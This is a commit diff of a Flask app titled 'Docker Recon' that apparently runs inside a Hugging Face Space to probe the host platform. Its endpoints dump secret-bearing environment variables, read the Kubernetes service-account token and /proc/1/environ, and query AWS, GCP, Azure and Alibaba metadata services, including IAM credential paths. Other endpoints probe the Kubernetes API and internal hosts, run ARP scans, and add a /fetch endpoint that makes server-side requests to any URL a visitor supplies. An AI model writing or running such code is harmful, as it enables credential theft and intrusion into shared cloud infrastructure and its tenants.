dia2diab commited on
Commit
0cf362f
·
1 Parent(s): 82544f7

Add verbose metadata probing, fetch endpoint, ARP scan

Browse files
Files changed (1) hide show
  1. app.py +97 -91
app.py CHANGED
@@ -1,11 +1,11 @@
1
  import os, subprocess, json, socket
2
- from flask import Flask, jsonify
3
 
4
  app = Flask(__name__)
5
 
6
  @app.route("/")
7
  def index():
8
- return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env Vars</a></li><li><a href='/metadata'>Cloud Metadata</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Network</a></li><li><a href='/proc'>Processes</a></li><li><a href='/dns'>DNS</a></li></ul>"
9
 
10
  @app.route("/env")
11
  def env():
@@ -13,16 +13,10 @@ def env():
13
  r["all_env"] = {k:v for k,v in sorted(os.environ.items())
14
  if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_","KUBE","DOCKER","API","GOOGLE","AZURE","CRED","PASSWORD","MONGO","REDIS","DATABASE","SERVICE"])}
15
  r["all_env_keys"] = sorted(os.environ.keys())
16
- # Check for SA token
17
  try:
18
  with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
19
  r["k8s_sa_token"] = f.read()[:100] + "..."
20
  except: r["k8s_sa_token"] = "not found"
21
- try:
22
- with open("/var/run/secrets/kubernetes.io/serviceaccount/namespace") as f:
23
- r["k8s_namespace"] = f.read()
24
- except: r["k8s_namespace"] = "not found"
25
- # /proc/1/environ
26
  try:
27
  with open("/proc/1/environ", "rb") as f:
28
  envs = f.read().decode("utf-8", errors="replace").split("\0")
@@ -30,101 +24,96 @@ def env():
30
  except Exception as e: r["proc1_env"] = str(e)
31
  return jsonify(r)
32
 
33
- @app.route("/metadata")
34
- def metadata():
 
35
  r = {}
36
- urls = [
37
- ("imdsv1", "http://169.254.169.254/latest/meta-data/"),
38
- ("imdsv1_iam", "http://169.254.169.254/latest/meta-data/iam/security-credentials/"),
39
- ("imdsv1_userdata", "http://169.254.169.254/latest/user-data"),
40
- ("imdsv1_identity", "http://169.254.169.254/latest/dynamic/instance-identity/document"),
41
- ("gcp", "http://metadata.google.internal/computeMetadata/v1/"),
42
- ("azure", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"),
43
- ("alibaba", "http://100.100.100.200/latest/meta-data/"),
44
- ]
45
- for name, url in urls:
46
- try:
47
- headers = []
48
- if "google" in url: headers = ["-H", "Metadata-Flavor: Google"]
49
- if "azure" in url: headers = ["-H", "Metadata: true"]
50
- cmd = ["curl", "-s", "-m", "3"] + headers + [url]
51
- p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
52
- r[name] = {"stdout": p.stdout[:500], "stderr": p.stderr[:200], "rc": p.returncode}
53
- except Exception as e: r[name] = str(e)
54
- # IMDSv2 token attempt
55
- try:
56
- p = subprocess.run(["curl", "-s", "-m", "3", "-X", "PUT",
57
  "http://169.254.169.254/latest/api/token",
58
  "-H", "X-aws-ec2-metadata-token-ttl-seconds: 21600"],
59
- capture_output=True, text=True, timeout=5)
 
 
 
60
  token = p.stdout.strip()
61
- r["imdsv2_token"] = {"stdout": token[:100], "rc": p.returncode}
62
- if token:
63
- p2 = subprocess.run(["curl", "-s", "-m", "3",
64
  "-H", f"X-aws-ec2-metadata-token: {token}",
65
  "http://169.254.169.254/latest/meta-data/"],
66
- capture_output=True, text=True, timeout=5)
67
- r["imdsv2_meta"] = {"stdout": p2.stdout[:500], "rc": p2.returncode}
68
- except Exception as e: r["imdsv2"] = str(e)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
69
  return jsonify(r)
70
 
71
  @app.route("/k8s")
72
  def k8s():
73
  r = {}
74
- # K8s API via env
75
  k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
76
  k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
77
  r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
78
  if k8s_host:
79
- for path in ["/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets",
80
- "/apis", "/version", "/healthz", "/api/v1/nodes"]:
81
  try:
82
- cmd = ["curl", "-s", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
83
- # Try with SA token if exists
84
- try:
85
- with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
86
- token = f.read().strip()
87
- cmd += ["-H", f"Authorization: Bearer {token}"]
88
- except: pass
89
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
90
- r[f"k8s{path}"] = {"stdout": p.stdout[:300], "rc": p.returncode}
91
  except Exception as e: r[f"k8s{path}"] = str(e)
92
  return jsonify(r)
93
 
94
  @app.route("/net")
95
  def net():
96
  r = {}
97
- # Network interfaces
98
  try:
99
  p = subprocess.run(["ip", "addr"], capture_output=True, text=True, timeout=5)
100
  r["ip_addr"] = p.stdout[:1000]
101
  except: pass
102
- # Routes
103
  try:
104
  p = subprocess.run(["ip", "route"], capture_output=True, text=True, timeout=5)
105
  r["ip_route"] = p.stdout[:500]
106
  except: pass
107
- # resolv.conf
108
  try:
109
  with open("/etc/resolv.conf") as f: r["resolv"] = f.read()
110
  except: pass
111
- # hosts
112
  try:
113
  with open("/etc/hosts") as f: r["hosts"] = f.read()
114
  except: pass
115
- # Probe internal services (quick, no nmap)
116
- for target in ["cas-server.xethub.hf.co", "10.0.0.1", "10.108.0.1", "10.108.0.2"]:
117
- try:
118
- p = subprocess.run(["curl", "-s", "-m", "2", f"http://{target}/"],
119
- capture_output=True, text=True, timeout=4)
120
- r[f"probe_{target}"] = {"stdout": p.stdout[:200], "rc": p.returncode}
121
- except Exception as e: r[f"probe_{target}"] = str(e)
122
- # Try reaching other Spaces
123
- try:
124
- p = subprocess.run(["curl", "-s", "-m", "3", "http://localhost:7860/"],
125
- capture_output=True, text=True, timeout=5)
126
- r["localhost_7860"] = p.stdout[:200]
127
- except: pass
128
  return jsonify(r)
129
 
130
  @app.route("/proc")
@@ -134,29 +123,24 @@ def proc():
134
  p = subprocess.run(["ps", "aux"], capture_output=True, text=True, timeout=5)
135
  r["ps"] = p.stdout[:2000]
136
  except: pass
137
- # Mounts
138
- try:
139
- with open("/proc/mounts") as f: r["mounts"] = f.read()[:2000]
140
- except: pass
141
- # Cgroups
142
  try:
143
  with open("/proc/1/cgroup") as f: r["cgroup"] = f.read()[:500]
144
  except: pass
145
- # Capabilities
146
  try:
147
  p = subprocess.run(["cat", "/proc/1/status"], capture_output=True, text=True, timeout=5)
148
  for line in p.stdout.split("\n"):
149
  if "Cap" in line: r.setdefault("caps", []).append(line.strip())
150
  except: pass
151
- # Check if we're privileged
152
- try:
153
- p = subprocess.run(["whoami"], capture_output=True, text=True, timeout=5)
154
- r["whoami"] = p.stdout.strip()
155
- except: pass
156
  try:
157
  p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
158
  r["id"] = p.stdout.strip()
159
  except: pass
 
 
 
 
 
 
160
  return jsonify(r)
161
 
162
  @app.route("/dns")
@@ -164,27 +148,49 @@ def dns():
164
  r = {}
165
  queries = [
166
  "kubernetes.default.svc.cluster.local",
167
- "kube-dns.kube-system.svc.cluster.local",
168
- "*.default.svc.cluster.local",
169
- "*.svc.cluster.local",
170
- "hub.internal",
171
- "mongo.internal",
172
- "redis.internal",
173
- "postgres.internal",
174
- "api.internal",
175
  "cas-server.xethub.hf.co",
 
176
  ]
177
  for q in queries:
178
  try:
179
  p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
180
  r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
181
  except Exception as e: r[q] = str(e)
182
- # Reverse DNS on known IPs
183
- for ip in ["10.108.0.1", "10.108.0.2"]:
184
- try:
185
- p = subprocess.run(["dig", "+short", "-x", ip], capture_output=True, text=True, timeout=5)
186
- r[f"rev_{ip}"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
187
- except Exception as e: r[f"rev_{ip}"] = str(e)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
188
  return jsonify(r)
189
 
190
  if __name__ == "__main__":
 
1
  import os, subprocess, json, socket
2
+ from flask import Flask, jsonify, request
3
 
4
  app = Flask(__name__)
5
 
6
  @app.route("/")
7
  def index():
8
+ return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/meta2'>AWS Meta v2</a></li><li><a href='/ping_meta'>Ping Meta</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Net</a></li><li><a href='/proc'>Proc</a></li><li><a href='/dns'>DNS</a></li><li><a href='/arp'>ARP</a></li><li><a href='/fetch?url=http://example.com'>Fetch URL</a></li></ul>"
9
 
10
  @app.route("/env")
11
  def env():
 
13
  r["all_env"] = {k:v for k,v in sorted(os.environ.items())
14
  if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_","KUBE","DOCKER","API","GOOGLE","AZURE","CRED","PASSWORD","MONGO","REDIS","DATABASE","SERVICE"])}
15
  r["all_env_keys"] = sorted(os.environ.keys())
 
16
  try:
17
  with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
18
  r["k8s_sa_token"] = f.read()[:100] + "..."
19
  except: r["k8s_sa_token"] = "not found"
 
 
 
 
 
20
  try:
21
  with open("/proc/1/environ", "rb") as f:
22
  envs = f.read().decode("utf-8", errors="replace").split("\0")
 
24
  except Exception as e: r["proc1_env"] = str(e)
25
  return jsonify(r)
26
 
27
+ @app.route("/meta1")
28
+ def meta1():
29
+ """IMDSv1 only"""
30
  r = {}
31
+ try:
32
+ p = subprocess.run(["curl", "-sv", "-m", "5", "http://169.254.169.254/latest/meta-data/"],
33
+ capture_output=True, text=True, timeout=8)
34
+ r["stdout"] = p.stdout[:1000]
35
+ r["stderr"] = p.stderr[:1000]
36
+ r["rc"] = p.returncode
37
+ except Exception as e: r["error"] = str(e)
38
+ return jsonify(r)
39
+
40
+ @app.route("/meta2")
41
+ def meta2():
42
+ """IMDSv2 token + metadata"""
43
+ r = {}
44
+ try:
45
+ p = subprocess.run(["curl", "-sv", "-m", "5", "-X", "PUT",
 
 
 
 
 
 
46
  "http://169.254.169.254/latest/api/token",
47
  "-H", "X-aws-ec2-metadata-token-ttl-seconds: 21600"],
48
+ capture_output=True, text=True, timeout=8)
49
+ r["token_stdout"] = p.stdout[:200]
50
+ r["token_stderr"] = p.stderr[:500]
51
+ r["token_rc"] = p.returncode
52
  token = p.stdout.strip()
53
+ if token and p.returncode == 0:
54
+ p2 = subprocess.run(["curl", "-sv", "-m", "5",
 
55
  "-H", f"X-aws-ec2-metadata-token: {token}",
56
  "http://169.254.169.254/latest/meta-data/"],
57
+ capture_output=True, text=True, timeout=8)
58
+ r["meta_stdout"] = p2.stdout[:1000]
59
+ r["meta_stderr"] = p2.stderr[:500]
60
+ except Exception as e: r["error"] = str(e)
61
+ return jsonify(r)
62
+
63
+ @app.route("/ping_meta")
64
+ def ping_meta():
65
+ """Ping and traceroute to metadata"""
66
+ r = {}
67
+ try:
68
+ p = subprocess.run(["ping", "-c", "2", "-W", "2", "169.254.169.254"],
69
+ capture_output=True, text=True, timeout=8)
70
+ r["ping"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
71
+ except Exception as e: r["ping"] = str(e)
72
+ # ARP check
73
+ try:
74
+ p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
75
+ r["arp"] = p.stdout[:500]
76
+ except: pass
77
+ # Route to metadata
78
+ try:
79
+ p = subprocess.run(["ip", "route", "get", "169.254.169.254"],
80
+ capture_output=True, text=True, timeout=5)
81
+ r["route"] = p.stdout
82
+ except: pass
83
  return jsonify(r)
84
 
85
  @app.route("/k8s")
86
  def k8s():
87
  r = {}
 
88
  k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
89
  k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
90
  r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
91
  if k8s_host:
92
+ for path in ["/version", "/healthz", "/api"]:
 
93
  try:
94
+ cmd = ["curl", "-sv", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
 
 
 
 
 
 
95
  p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
96
+ r[f"k8s{path}"] = {"stdout": p.stdout[:300], "stderr": p.stderr[:300], "rc": p.returncode}
97
  except Exception as e: r[f"k8s{path}"] = str(e)
98
  return jsonify(r)
99
 
100
  @app.route("/net")
101
  def net():
102
  r = {}
 
103
  try:
104
  p = subprocess.run(["ip", "addr"], capture_output=True, text=True, timeout=5)
105
  r["ip_addr"] = p.stdout[:1000]
106
  except: pass
 
107
  try:
108
  p = subprocess.run(["ip", "route"], capture_output=True, text=True, timeout=5)
109
  r["ip_route"] = p.stdout[:500]
110
  except: pass
 
111
  try:
112
  with open("/etc/resolv.conf") as f: r["resolv"] = f.read()
113
  except: pass
 
114
  try:
115
  with open("/etc/hosts") as f: r["hosts"] = f.read()
116
  except: pass
 
 
 
 
 
 
 
 
 
 
 
 
 
117
  return jsonify(r)
118
 
119
  @app.route("/proc")
 
123
  p = subprocess.run(["ps", "aux"], capture_output=True, text=True, timeout=5)
124
  r["ps"] = p.stdout[:2000]
125
  except: pass
 
 
 
 
 
126
  try:
127
  with open("/proc/1/cgroup") as f: r["cgroup"] = f.read()[:500]
128
  except: pass
 
129
  try:
130
  p = subprocess.run(["cat", "/proc/1/status"], capture_output=True, text=True, timeout=5)
131
  for line in p.stdout.split("\n"):
132
  if "Cap" in line: r.setdefault("caps", []).append(line.strip())
133
  except: pass
 
 
 
 
 
134
  try:
135
  p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
136
  r["id"] = p.stdout.strip()
137
  except: pass
138
+ # Check seccomp
139
+ try:
140
+ with open("/proc/1/status") as f:
141
+ for line in f:
142
+ if "Seccomp" in line: r["seccomp"] = line.strip()
143
+ except: pass
144
  return jsonify(r)
145
 
146
  @app.route("/dns")
 
148
  r = {}
149
  queries = [
150
  "kubernetes.default.svc.cluster.local",
 
 
 
 
 
 
 
 
151
  "cas-server.xethub.hf.co",
152
+ "hub.huggingface.co",
153
  ]
154
  for q in queries:
155
  try:
156
  p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
157
  r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
158
  except Exception as e: r[q] = str(e)
159
+ # Reverse DNS on gateway
160
+ try:
161
+ p = subprocess.run(["dig", "+short", "-x", "169.254.1.1"], capture_output=True, text=True, timeout=5)
162
+ r["rev_169.254.1.1"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
163
+ except: pass
164
+ return jsonify(r)
165
+
166
+ @app.route("/arp")
167
+ def arp():
168
+ """ARP scan using CAP_NET_RAW"""
169
+ r = {}
170
+ try:
171
+ p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
172
+ r["arp_table"] = p.stdout
173
+ except: pass
174
+ # Try arping the gateway
175
+ try:
176
+ p = subprocess.run(["arping", "-c", "1", "-w", "2", "169.254.1.1"],
177
+ capture_output=True, text=True, timeout=5)
178
+ r["arping_gw"] = {"stdout": p.stdout, "rc": p.returncode}
179
+ except Exception as e: r["arping_gw"] = str(e)
180
+ return jsonify(r)
181
+
182
+ @app.route("/fetch")
183
+ def fetch():
184
+ """Fetch arbitrary URL from inside the Space"""
185
+ url = request.args.get("url", "http://example.com")
186
+ r = {}
187
+ try:
188
+ p = subprocess.run(["curl", "-sv", "-m", "5", url],
189
+ capture_output=True, text=True, timeout=8)
190
+ r["stdout"] = p.stdout[:2000]
191
+ r["stderr"] = p.stderr[:1000]
192
+ r["rc"] = p.returncode
193
+ except Exception as e: r["error"] = str(e)
194
  return jsonify(r)
195
 
196
  if __name__ == "__main__":